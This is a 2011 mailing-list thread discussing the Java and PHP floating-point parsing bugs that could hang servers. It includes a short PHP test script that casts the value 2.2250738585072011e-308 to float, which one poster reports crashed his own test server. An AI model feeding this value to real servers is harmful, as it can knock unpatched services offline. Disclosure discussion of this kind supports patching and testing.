Re: {Java,PHP} Server Exploits

["Cal Leeming [Simplicity Media Ltd]" <cal.leeming () simplicitymedialtd co uk>]

Christian, this issue has been 'floating' around for several months now.

On Wed, Feb 9, 2011 at 7:56 PM, Christian Sciberras <uuf6429 () gmail com>wrote:

> Ah, been reading more about it, seems it was fixed.
>
> Still, there should have been safeguards around this - I'm thinking they
> should check existing conversion routines to ensure they're safe...
>
>
>
>
> On Wed, Feb 9, 2011 at 8:54 PM, Christian Sciberras <uuf6429 () gmail com>wrote:
>
> > Was it fixed? What's the current status?
> >
> > The sounds like a major issue, and the lack of info about it is darn
> > impressive.
> >
> >
> > I tried it on my test Windows WAMP server:
> >
> > <?php
> >
> >     ob_implicit_flush(true);
> >
> >     echo 'Start test...<br/>';
> >
> >     $f=(float)"2.2250738585072011e-308";
> >     echo 'Try 1 => '.$f.'</br>';
> >
> >     $f=floatval("2.2250738585072011e-308");
> >     echo 'Try 2 => '.$f.'</br>';
> >
> >     $f="2.2250738585072011e-308";
> >     echo 'Try 3 => '.(float)$f.'</br>';
> >
> >     echo 'Test failed, server not vulnerable!</br>';
> >
> > ?>
> >
> > All three tests succeeded in crashing the server.
> >
> > With all due respect, this should NOT have been disclosed without being
> > FIXED (as it seems to me).
> > Plus, I'm a bit amazed such a bug exists in PHP - since converting to
> > floating point is a trivial operation, it should have been limited and
> > safe-guarded from the start.
> > There are a lot of servers out there happily accepting input as floating
> > point values, this bug should be top priority...
> >
> >
> > Chris.
> >
> >
> >
> > On Wed, Feb 9, 2011 at 6:40 PM, Leon Kaiser <literalka () gmail com> wrote:
> >
> > > http://developers.slashdot.org/story/11/02/09/025237/Java-Floating-Point-Bug-Can-Lock-Up-Servers
> > >
> > > http://it.slashdot.org/story/11/01/06/1820208/PHP-Floating-Point-Bug-Crashes-Server<http://it.slashdot.org/story/11/01/06/1820208/PHP-Floating-Point-Bug-Crashes-Servers>
> > >
> > >
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